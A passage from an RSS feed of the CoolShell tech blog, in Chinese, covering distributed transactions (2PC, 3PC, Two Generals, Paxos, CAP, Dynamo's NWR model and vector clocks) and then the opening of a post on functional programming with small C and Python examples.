D，每一步都会分配一些资源或改写一些数据。比如我们B2C网上购物的下单操作在后台会有一系列的流程需要做。如果我们一步一步地做，就会出现这样的问题，如果某一步做不下去了，那么前面每一次所分配的资源需要做反向操作把他们都回收掉，所以，操作起来比较复杂。现在很多处理流程（Workflow）都会借鉴2PC这个算法，使用 try -&gt; confirm的流程来确保整个流程的能够成功完成。 举个通俗的例子，西方教堂结婚的时候，都有这样的桥段：</p>\n<p style=\"padding-left: 30px;\">1）牧师分别问新郎和新娘：你是否愿意……不管生老病死……（询问阶段）</p>\n<p style=\"padding-left: 30px;\">2）当新郎和新娘都回答愿意后（锁定一生的资源），牧师就会说：我宣布你们……（事务提交）</p>\n<p>这是多么经典的一个两阶段提交的事务处理。 另外，我们也可以看到其中的一些问题， A）其中一个是同步阻塞操作，这个事情必然会非常大地影响性能。 B）另一个主要的问题是在TimeOut上，比如，</p>\n<p style=\"padding-left: 30px;\">1）如果第一阶段中，参与者没有收到询问请求，或是参与者的回应没有到达协调者。那么，需要协调者做超时处理，一旦超时，可以当作失败，也可以重试。</p>\n<p style=\"padding-left: 30px;\">2）如果第二阶段中，正式提交发出后，如果有的参与者没有收到，或是参与者提交/回滚后的确认信息没有返回，一旦参与者的回应超时，要么重试，要么把那个参与者标记为问题结点剔除整个集群，这样可以保证服务结点都是数据一致性的。</p>\n<p style=\"padding-left: 30px;\">3）糟糕的情况是，第二阶段中，如果参与者收不到协调者的commit/fallback指令，参与者将处于“状态未知”阶段，参与者完全不知道要怎么办，比如：如果所有的参与者完成第一阶段的回复后（可能全部yes，可能全部no，可能部分yes部分no），如果协调者在这个时候挂掉了。那么所有的结点完全不知道怎么办（问别的参与者都不行）。为了一致性，要么死等协调者，要么重发第一阶段的yes/no命令。</p>\n<p>两段提交最大的问题就是第3）项，<strong>如果第一阶段完成后，参与者在第二阶没有收到决策，那么数据结点会进入“不知所措”的状态，这个状态会block住整个事务</strong>。也就是说，协调者Coordinator对于事务的完成非常重要，Coordinator的可用性是个关键。 因些，我们引入三段提交，三段提交在<a href=\"http://en.wikipedia.org/wiki/Three-phase_commit_protocol\" target=\"_blank\">Wikipedia</a>上的描述如下，他把二段提交的第一个段break成了两段：询问，然后再锁资源。最后真正提交。三段提交的示意图如下：</p>\n<p style=\"padding-left: 30px;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Three-phase_commit_diagram.png\" width=\"611\" height=\"321\" /></p>\n<p>三段提交的核心理念是：<strong>在询问的时候并不锁定资源，除非所有人都同意了，才开始锁资源</strong>。</p>\n<p style=\"text-align: left;\">理论上来说，如果第一阶段所有的结点返回成功，那么有理由相信成功提交的概率很大。这样一来，可以降低参与者Cohorts的状态未知的概率。也就是说，一旦参与者收到了PreCommit，意味他知道大家其实都同意修改了。这一点很重要。下面我们来看一下3PC的状态迁移图：（<strong>注意图中的虚线，那些F,T是Failuer或Timeout</strong>，其中的：状态含义是 q &#8211; Query，a &#8211; Abort，w &#8211; Wait，p &#8211; PreCommit，c &#8211; Commit）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10931\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Three-phase_commit_status.png\" width=\"614\" height=\"374\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/Three-phase_commit_status.png 767w, https://coolshell.cn/wp-content/uploads/2014/01/Three-phase_commit_status-300x183.png 300w\" sizes=\"(max-width: 614px) 100vw, 614px\" /></p>\n<p style=\"text-align: left;\">从上图的状态变化图我们可以从虚线（那些F,T是Failuer或Timeout）看到——<strong>如果结点处在P状态（PreCommit）的时候发生了F/T的问题，三段提交比两段提交的好处是，三段提交可以继续直接把状态变成C状态（Commit），而两段提交则不知所措</strong>。</p>\n<p style=\"text-align: left;\">其实，三段提交是一个很复杂的事情，实现起来相当难，而且也有一些问题。</p>\n<p style=\"text-align: left;\">看到这里，我相信你有很多很多的问题，你一定在思考2PC/3PC中各种各样的失败场景，<strong>你会发现Timeout是个非常难处理的事情，因为网络上的Timeout在很多时候让你无所事从，你也不知道对方是做了还是没有做。于是你好好的一个状态机就因为Timeout成了个摆设</strong>。</p>\n<p style=\"text-align: left;\"><strong>一个网络服务会有三种状态：1）Success，2）Failure，3）Timeout，第三个绝对是恶梦，尤其在你需要维护状态的时候</strong>。</p>\n<h4>Two Generals Problem（两将军问题）</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Two_Generals'_Problem\" target=\"_blank\">Two Generals Problem</a> 两将军问题是这么一个思维性实验问题： 有两支军队，它们分别有一位将军领导，现在准备攻击一座修筑了防御工事的城市。这两支军队都驻扎在那座城市的附近，分占一座山头。一道山谷把两座山分隔开来，并且两位将军唯一的通信方式就是派各自的信使来往于山谷两边。不幸的是，这个山谷已经被那座城市的保卫者占领，并且存在一种可能，那就是任何被派出的信使通过山谷是会被捕。 请注意，虽然两位将军已经就攻击那座城市达成共识，但在他们各自占领山头阵地之前，并没有就进攻时间达成共识。两位将军必须让自己的军队同时进攻城市才能取得成功。因此，他们必须互相沟通，以确定一个时间来攻击，并同意就在那时攻击。如果只有一个将军进行攻击，那么这将是一个灾难性的失败。 这个思维实验就包括考虑他们如何去做这件事情。下面是我们的思考：</p>\n<p style=\"padding-left: 30px;\">1）第一位将军先发送一段消息“让我们在上午9点开始进攻”。然而，一旦信使被派遣，他是否通过了山谷，第一位将军就不得而知了。任何一点的不确定性都会使得第一位将军攻击犹豫，因为如果第二位将军不能在同一时刻发动攻击，那座城市的驻军就会击退他的军队的进攻，导致他的军对被摧毁。</p>\n<p style=\"padding-left: 30px;\">2）知道了这一点，第二位将军就需要发送一个确认回条：“我收到您的邮件，并会在9点的攻击。”但是，如果带着确认消息的信使被抓怎么办？所以第二位将军会犹豫自己的确认消息是否能到达。</p>\n<p style=\"padding-left: 30px;\">3）于是，似乎我们还要让第一位将军再发送一条确认消息——“我收到了你的确认”。然而，如果这位信使被抓怎么办呢？</p>\n<p style=\"padding-left: 30px;\">4）这样一来，是不是我们还要第二位将军发送一个“确认收到你的确认”的信息。</p>\n<p>靠，于是你会发现，这事情很快就发展成为不管发送多少个确认消息，都没有办法来保证两位将军有足够的自信自己的信使没有被敌军捕获。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10933\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/two-generals-problems.jpg\" width=\"538\" height=\"251\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/two-generals-problems.jpg 598w, https://coolshell.cn/wp-content/uploads/2014/01/two-generals-problems-300x139.jpg 300w\" sizes=\"(max-width: 538px) 100vw, 538px\" /></p>\n<p style=\"text-align: left;\"><strong style=\"line-height: 1.5em;\">这个问题是无解的</strong><span style=\"line-height: 1.5em;\">。</span><span style=\"line-height: 1.5em;\">两个将军问题和它的无解证明首先由E.A.Akkoyunlu,K.Ekanadham和R.V.Huber于1975年在《一些限制与折衷的网络通信设计》一文中发表，就在这篇文章的第73页中一段描述两个黑帮之间的通信中被阐明。 1978年，在Jim Gray的《数据库操作系统注意事项》一书中（从第465页开始）被命名为两个将军悖论。作为两个将军问题的定义和无解性的证明的来源，这一参考被广泛提及。</span></p>\n<p style=\"text-align: left;\">这个实验意在阐明：试图通过建立在一个不可靠的连接上的交流来协调一项行动的隐患和设计上的巨大挑战。</p>\n<p style=\"text-align: left;\">从工程上来说，一个解决两个将军问题的实际方法是使用一个能够承受通信信道不可靠性的方案，并不试图去消除这个不可靠性，但要将不可靠性削减到一个可以接受的程度。比如，第一位将军排出了100位信使并预计他们都被捕的可能性很小。在这种情况下，不管第二位将军是否会攻击或者受到任何消息，第一位将军都会进行攻击。另外，第一位将军可以发送一个消息流，而第二位将军可以对其中的每一条消息发送一个确认消息，这样如果每条消息都被接收到，两位将军会感觉更好。然而我们可以从证明中看出，他们俩都不能肯定这个攻击是可以协调的。他们没有算法可用（比如，收到4条以上的消息就攻击）能够确保防止仅有一方攻击。再者，第一位将军还可以为每条消息编号，说这是1号，2号……直到n号。这种方法能让第二位将军知道通信信道到底有多可靠，并且返回合适的数量的消息来确保最后一条消息被接收到。如果信道是可靠的话，只要一条消息就行了，其余的就帮不上什么忙了。最后一条和第一条消息丢失的概率是相等的。</p>\n<p> 两将军问题可以扩展成更变态的<strong>拜占庭将军问题 (Byzantine Generals Problem)</strong>，其故事背景是这样的：拜占庭位于现在土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。 在战争的时候，拜占庭军队内所有将军必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，军队可能有叛徒和敌军间谍，这些叛徒将军们会扰乱或左右决策的过程。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，这就是拜占庭将军问题。</p>\n<h4>Paxos算法</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/Paxos_(computer_science)\" target=\"_blank\">Wikipedia上的各种Paxos算法</a>的描述非常详细，大家可以去围观一下。</p>\n<p>Paxos 算法解决的问题是在一个可能发生上述异常的分布式系统中如何就某个值达成一致，保证不论发生以上任何异常，都不会破坏决议的一致性。一个典型的场景是，在一个分布式数据库系统中，如果各节点的初始状态一致，每个节点都执行相同的操作序列，那么他们最后能得到一个一致的状态。为保证每个节点执行相同的命令序列，需要在每一条指令上执行一个「一致性算法」以保证每个节点看到的指令一致。一个通用的一致性算法可以应用在许多场景中，是分布式计算中的重要问题。从20世纪80年代起对于一致性算法的研究就没有停止过。</p>\n<p><strong>Notes</strong>：Paxos算法是莱斯利·兰伯特（Leslie Lamport，就是 LaTeX 中的&#8221;La&#8221;，此人现在在微软研究院）于1990年提出的一种基于消息传递的一致性算法。由于算法难以理解起初并没有引起人们的重视，使Lamport在八年后1998年重新发表到ACM Transactions on Computer Systems上（<a href=\"http://research.microsoft.com/users/lamport/pubs/lamport-paxos.pdf\" rel=\"nofollow\">The Part-Time Parliament</a>）。即便如此paxos算法还是没有得到重视，2001年Lamport 觉得同行无法接受他的幽默感，于是用容易接受的方法重新表述了一遍（<a href=\"http://research.microsoft.com/users/lamport/pubs/paxos-simple.pdf\" rel=\"nofollow\">Paxos Made Simple</a>）。可见Lamport对Paxos算法情有独钟。近几年Paxos算法的普遍使用也证明它在分布式一致性算法中的重要地位。2006年Google的三篇论文初现“云”的端倪，其中的Chubby Lock服务使用Paxos作为Chubby Cell中的一致性算法，Paxos的人气从此一路狂飙。（Lamport 本人在 <a href=\"http://research.microsoft.com/users/lamport/pubs/pubs.html#lamport-paxos\" target=\"_blank\">他的blog 中</a>描写了他用9年时间发表这个算法的前前后后）</p>\n<p>注：Amazon的AWS中，所有的云服务都基于一个ALF（Async Lock Framework）的框架实现的，这个ALF用的就是Paxos算法。我在Amazon的时候，看内部的分享视频时，设计者在内部的Principle Talk里说他参考了ZooKeeper的方法，但他用了另一种比ZooKeeper更易读的方式实现了这个算法。</p>\n<p>简单说来，Paxos的目的是让整个集群的结点对某个值的变更达成一致。Paxos算法基本上来说是个民主选举的算法——大多数的决定会成个整个集群的统一决定。任何一个点都可以提出要修改某个数据的提案，是否通过这个提案取决于这个集群中是否有超过半数的结点同意（所以Paxos算法需要集群中的结点是单数）。</p>\n<p><span style=\"line-height: 1.5em;\">这个算法有两个阶段（假设这个有三个结点：A，B，C）：</span></p>\n<p style=\"padding-left: 30px;\"><strong>第一阶段：Prepare阶段</strong></p>\n<p style=\"padding-left: 30px;\">A把申请修改的请求Prepare Request发给所有的结点A，B，C。注意，Paxos算法会有一个Sequence Number（你可以认为是一个提案号，这个数不断递增，而且是唯一的，也就是说A和B不可能有相同的提案号），这个提案号会和修改请求一同发出，任何结点在“Prepare阶段”时都会拒绝其值小于当前提案号的请求。所以，结点A在向所有结点申请修改请求的时候，需要带一个提案号，越新的提案，这个提案号就越是是最大的。</p>\n<p style=\"padding-left: 30px;\">如果接收结点收到的提案号n大于其它结点发过来的提案号，这个结点会回应Yes（本结点上最新的被批准提案号），并保证不接收其它&lt;n的提案。这样一来，结点上在Prepare阶段里总是会对最新的提案做承诺。</p>\n<p style=\"padding-left: 30px;\">优化：在上述 prepare 过程中，如果任何一个结点发现存在一个更高编号的提案，则需要通知 提案人，提醒其中断这次提案。</p>\n<p style=\"padding-left: 30px;\"><strong>第二阶段：Accept阶段</strong></p>\n<p style=\"padding-left: 30px;\">如果提案者A收到了超过半数的结点返回的Yes，然后他就会向所有的结点发布Accept Request（同样，需要带上提案号n），如果没有超过半数的话，那就返回失败。</p>\n<p style=\"padding-left: 30px;\">当结点们收到了Accept Request后，如果对于接收的结点来说，n是最大的了，那么，它就会修改这个值，如果发现自己有一个更大的提案号，那么，结点就会拒绝修改。</p>\n<p>我们可以看以，这似乎就是一个“两段提交”的优化。其实，<strong>2PC/3PC都是分布式一致性算法的残次版本，Google Chubby的作者Mike Burrows说过这个世界上只有一种一致性算法，那就是Paxos，其它的算法都是残次品。</strong></p>\n<p><strong></strong>我们还可以看到：对于同一个值的在不同结点的修改提案就算是在接收方被乱序收到也是没有问题的。</p>\n<p>关于一些实例，你可以看一下Wikipedia中文中的“<a href=\"http://zh.wikipedia.org/zh/Paxos%E7%AE%97%E6%B3%95#.E5.AE.9E.E4.BE.8B\" target=\"_blank\">Paxos样例</a>”一节，我在这里就不再多说了。对于Paxos算法中的一些异常示例，大家可以自己推导一下。你会发现基本上来说只要保证有半数以上的结点存活，就没有什么问题。</p>\n<p>多说一下，自从Lamport在1998年发表Paxos算法后，对Paxos的各种改进工作就从未停止，其中动作最大的莫过于2005年发表的<a href=\"http://research.microsoft.com/apps/pubs/default.aspx?id=64624\" target=\"_blank\">Fast Paxos</a>。无论何种改进，其重点依然是在消息延迟与性能、吞吐量之间作出各种权衡。为了容易地从概念上区分二者，称前者Classic Paxos，改进后的后者为Fast Paxos。</p>\n<h4>总结</h4>\n<div id=\"Msg_18730\">下图来自：Google App Engine的co-founder Ryan Barrett在2009年的google i/o上的演讲《<a href=\"http://snarfed.org/transactions_across_datacenters_io.html\" target=\"_blank\">Transaction Across DataCenter</a>》（视频： <a title=\"阿里旺旺无法确定该链接的安全性\" href=\"http://www.youtube.com/watch?v=srOgpXECblk\" target=\"_blank\">http://www.youtube.com/watch?v=srOgpXECblk</a>）</div>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10942\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg\" width=\"566\" height=\"255\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter.jpg 566w, https://coolshell.cn/wp-content/uploads/2014/01/Transaction-Across-DataCenter-300x135.jpg 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" /></p>\n<p style=\"text-align: left;\">前面，我们说过，要想让数据有高可用性，就需要冗余数据写多份。写多份的问题会带来一致性的问题，而一致性的问题又会带来性能问题。从上图我们可以看到，我们基本上来说不可以让所有的项都绿起来，这就是著名的CAP理论：一致性，可用性，分区容忍性，你只可能要其中的两个。</p>\n<h4>NWR模型</h4>\n<p><strong>最后我还想提一下Amazon Dynamo的NWR模型。这个NWR模型把CAP的选择权交给了用户，让用户自己的选择你的CAP中的哪两个</strong>。</p>\n<p>所谓NWR模型。N代表N个备份，W代表要写入至少W份才认为成功，R表示至少读取R个备份。<strong>配置的时候要求W+R &gt; N</strong>。 因为W+R &gt; N， 所以 R &gt; N-W 这个是什么意思呢？就是读取的份数一定要比总备份数减去确保写成功的倍数的差值要大。</p>\n<p>也就是说，每次读取，都至少读取到一个最新的版本。从而不会读到一份旧数据。当我们需要高可写的环境的时候，我们可以配置W = 1 如果N=3 那么R = 3。 这个时候只要写任何节点成功就认为成功，但是读的时候必须从所有的节点都读出数据。如果我们要求读的高效率，我们可以配置 W=N R=1。这个时候任何一个节点读成功就认为成功，但是写的时候必须写所有三个节点成功才认为成功。</p>\n<p>NWR模型的一些设置会造成脏数据的问题，因为这很明显不是像Paxos一样是一个强一致的东西，所以，可能每次的读写操作都不在同一个结点上，于是会出现一些结点上的数据并不是最新版本，但却进行了最新的操作。</p>\n<p>所以，Amazon Dynamo引了数据版本的设计。也就是说，如果你读出来数据的版本是v1，当你计算完成后要回填数据后，却发现数据的版本号已经被人更新成了v2，那么服务器就会拒绝你。版本这个事就像“乐观锁”一样。</p>\n<p>但是，对于分布式和NWR模型来说，版本也会有恶梦的时候——就是版本冲的问题，比如：我们设置了N=3 W=1，如果A结点上接受了一个值，版本由v1 -&gt; v2，但还没有来得及同步到结点B上（异步的，应该W=1，写一份就算成功），B结点上还是v1版本，此时，B结点接到写请求，按道理来说，他需要拒绝掉，但是他一方面并不知道别的结点已经被更新到v2，另一方面他也无法拒绝，因为W=1，所以写一分就成功了。于是，出现了严重的版本冲突。</p>\n<p>Amazon的Dynamo把版本冲突这个问题巧妙地回避掉了——版本冲这个事交给用户自己来处理。</p>\n<p>于是，Dynamo引入了Vector Clock（矢量钟？!）这个设计。这个设计让每个结点各自记录自己的版本信息，也就是说，对于同一个数据，需要记录两个事：1）谁更新的我，2）我的版本号是什么。</p>\n<p>下面，我们来看一个操作序列：</p>\n<p style=\"padding-left: 30px;\">1）一个写请求，第一次被节点A处理了。节点A会增加一个版本信息(A，1)。我们把这个时候的数据记做D1(A，1)。 然后另外一个对同样key的请求还是被A处理了于是有D2(A，2)。这个时候，D2是可以覆盖D1的，不会有冲突产生。</p>\n<p style=\"padding-left: 30px;\">2）现在我们假设D2传播到了所有节点(B和C)，B和C收到的数据不是从客户产生的，而是别人复制给他们的，所以他们不产生新的版本信息，所以现在B和C所持有的数据还是D2(A，2)。于是A，B，C上的数据及其版本号都是一样的。</p>\n<p style=\"padding-left: 30px;\">3）如果我们有一个新的写请求到了B结点上，于是B结点生成数据D3(A,2; B,1)，意思是：数据D全局版本号为3，A升了两新，B升了一次。这不就是所谓的代码版本的log么？</p>\n<p style=\"padding-left: 30px;\">4）如果D3没有传播到C的时候又一个请求被C处理了，于是，以C结点上的数据是D4(A,2; C,1)。</p>\n<p style=\"padding-left: 30px;\">5）好，最精彩的事情来了：如果这个时候来了一个读请求，我们要记得，我们的W=1 那么R=N=3，所以R会从所有三个节点上读，此时，他会读到三个版本：</p>\n<ul>\n<ul>\n<li>A结点：D2(A,2)</li>\n<li>B结点：D3(A,2;  B,1);</li>\n<li>C结点：D4(A,2;  C,1)</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">6）这个时候可以判断出，D2已经是旧版本（已经包含在D3/D4中），可以舍弃。</p>\n<p style=\"padding-left: 30px;\">7）但是D3和D4是明显的版本冲突。于是，交给调用方自己去做版本冲突处理。就像源代码版本管理一样。</p>\n<p>很明显，上述的Dynamo的配置用的是CAP里的A和P。</p>\n<p>我非常推大家都去看看这篇论文：《<a href=\"http://www.read.seas.harvard.edu/~kohler/class/cs239-w08/decandia07dynamo.pdf\" target=\"_blank\">Dynamo：Amazon&#8217;s Highly Available Key-Value Store</a>》，如果英文痛苦，你可以<a href=\"http://vdisk.weibo.com/s/AKRQZMLLc1ol  \" target=\"_blank\">看看译文</a>（译者不详）。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"http://coolshell.cn/articles/6470.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/12306-150x150.png\" alt=\"由12306.cn谈谈网站性能技术 \" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6470.html\" class=\"wp_rp_title\">由12306.cn谈谈网站性能技术 </a></li><li ><a href=\"http://coolshell.cn/articles/9169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/Disruptor-150x150.png\" alt=\"并发框架Disruptor译文\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9169.html\" class=\"wp_rp_title\">并发框架Disruptor译文</a></li><li ><a href=\"http://coolshell.cn/articles/6790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/o_conditional_update_1-150x150.png\" alt=\"多版本并发控制(MVCC)在分布式系统中的应用\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6790.html\" class=\"wp_rp_title\">多版本并发控制(MVCC)在分布式系统中的应用</a></li><li ><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"http://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10910.html\">分布式系统的事务处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10910.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>181</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>函数式编程</title>\n\t\t<link>https://coolshell.cn/articles/10822.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10822.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 27 Dec 2013 00:11:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[函数式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=10822</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当我们说起函数式编程来说，我们会看到如下函数式编程的长相： 函数式编程的三大特性： immutable data 不可变数据：像Clojure一样，默认上变量是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/10822.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-10861\" src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-204x300.png\" alt=\"\" width=\"204\" height=\"300\" />当我们说起函数式编程来说，我们会看到如下函数式编程的长相：</p>\n<ul>\n<li>函数式编程的三大特性：\n<ul>\n<li><strong>immutable data 不可变数据</strong>：像Clojure一样，默认上变量是不可变的，如果你要改变变量，你需要把变量copy出去修改。这样一来，可以让你的程序少很多Bug。因为，程序中的状态不好维护，在并发的时候更不好维护。（你可以试想一下如果你的程序有个复杂的状态，当以后别人改你代码的时候，是很容易出bug的，在并行中这样的问题就更多了）</li>\n<li><strong>first class functions</strong>：这个技术可以让你的函数就像变量一样来使用。也就是说，你的函数可以像变量一样被创建，修改，并当成变量一样传递，返回或是在函数中嵌套函数。这个有点像Javascript的Prototype（参看<a title=\"再谈javascript面向对象编程\" href=\"https://coolshell.cn/articles/6668.html\" target=\"_blank\" rel=\"noopener noreferrer\">Javascript的面向对象编程</a>）</li>\n<li><strong>尾递归优化</strong>：我们知道递归的害处，那就是如果递归很深的话，stack受不了，并会导致性能大幅度下降。所以，我们使用尾递归优化技术——每次递归时都会重用stack，这样一来能够提升性能，当然，这需要语言或编译器的支持。Python就不支持。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>函数式编程的几个技术\n<ul>\n<li><strong>map &amp; reduce</strong> ：这个技术不用多说了，函数式编程最常见的技术就是对一个集合做Map和Reduce操作。这比起过程式的语言来说，在代码上要更容易阅读。（传统过程式的语言需要使用for/while循环，然后在各种变量中把数据倒过来倒过去的）这个很像C++中的STL中的foreach，find_if，count_if之流的函数的玩法。</li>\n<li><strong>pipeline</strong>：这个技术的意思是，把函数实例成一个一个的action，然后，把一组action放到一个数组或是列表中，然后把数据传给这个action list，数据就像一个pipeline一样顺序地被各个函数所操作，最终得到我们想要的结果。</li>\n<li><strong>recursing 递归</strong> ：递归最大的好处就简化代码，他可以把一个复杂的问题用很简单的代码描述出来。注意：递归的精髓是描述问题，而这正是函数式编程的精髓。</li>\n<li><strong>currying</strong>：把一个函数的多个参数分解成多个函数， 然后把函数多层封装起来，每层函数都返回一个函数去接收下一个参数这样，可以简化函数的多个参数。在C++中，这个很像STL中的bind_1st或是bind2nd。</li>\n<li><strong>higher order function 高阶函数</strong>：所谓高阶函数就是函数当参数，把传入的函数做一个封装，然后返回这个封装函数。现象上就是函数传进传出，就像面向对象对象满天飞一样。</li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-10822\"></span></p>\n<ul>\n<li>还有函数式的一些好处\n<ul>\n<li><strong>parallelization 并行：</strong>所谓并行的意思就是在并行环境下，各个线程之间不需要同步或互斥。</li>\n<li><strong>lazy evaluation 惰性求值</strong>：这个需要编译器的支持。表达式不在它被绑定到变量之后就立即求值，而是在该值被取用的时候求值，也就是说，语句如<i>x:=expression;</i> (把一个表达式的结果赋值给一个变量)明显的调用这个表达式被计算并把结果放置到 <i>x</i> 中，但是先不管实际在 <i>x</i> 中的是什么，直到通过后面的表达式中到 <i>x</i> 的引用而有了对它的值的需求的时候，而后面表达式自身的求值也可以被延迟，最终为了生成让外界看到的某个符号而计算这个快速增长的依赖树。</li>\n<li><strong>determinism 确定性</strong>：所谓确定性的意思就是像数学那样 f(x) = y ，这个函数无论在什么场景下，都会得到同样的结果，这个我们称之为函数的确定性。而不是像程序中的很多函数那样，同一个参数，却会在不同的场景下计算出不同的结果。所谓不同的场景的意思就是我们的函数会根据一些运行中的状态信息的不同而发生变化。</li>\n</ul>\n</li>\n</ul>\n<p>上面的那些东西太抽象了，还是让我们来循序渐近地看一些例子吧。</p>\n<p>我们先用一个最简单的例子来说明一下什么是函数式编程。</p>\n<p>先看一个非函数式的例子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int cnt;\nvoid increment(){\n    cnt++;\n}</pre>\n<p>&nbsp;</p>\n<p>那么，函数式的应该怎么写呢？</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int increment(int cnt){\n    return cnt+1;\n}</pre>\n<p>你可能会觉得这个例子太普通了。是的，这个例子就是函数式编程的准则：<strong>不依赖于外部的数据，而且也不改变外部数据的值，而是返回一个新的值给你</strong>。</p>\n<p>我们再来看一个简单例子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">def inc(x):\n    def incx(y):\n        return x+y\n    return incx\n\ninc2 = inc(2)\ninc5 = inc(5)\n\nprint inc2(5) # 输出 7\nprint inc5(5) # 输出 10</pre>\n<p>我们可以看到上面那个例子inc()函数返回了另一个函数incx()，于是我们可以用inc()函数来构造各种版本的inc函数，比如：inc2()和inc5()。这个技术其实就是上面所说的Currying技术。从这个技术上，你可能体会到函数式编程的理念：<strong>把函数当成变量来用，关注于描述问题而不是怎么实现</strong>，这样可以让代码更易读。</p>\n<h4>Map &amp; Reduce</h4>\n<p>在函数式编程中，我们不应该用循环迭代的方式，我们应该用更为高级的方法，如下所示的Python代码</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">name_len = map(len, [\"hao\", \"chen\", \"coolshell\"])\nprint name_len\n# 输出 [3, 4, 9]</pre>\n<p>你可以看到这样的代码很易读，因为，<strong>这样的代码是在描述要干什么，而不是怎么干</strong>。</p>\n<p>我们再来看一个Python代码的例子：</p>\n<pre 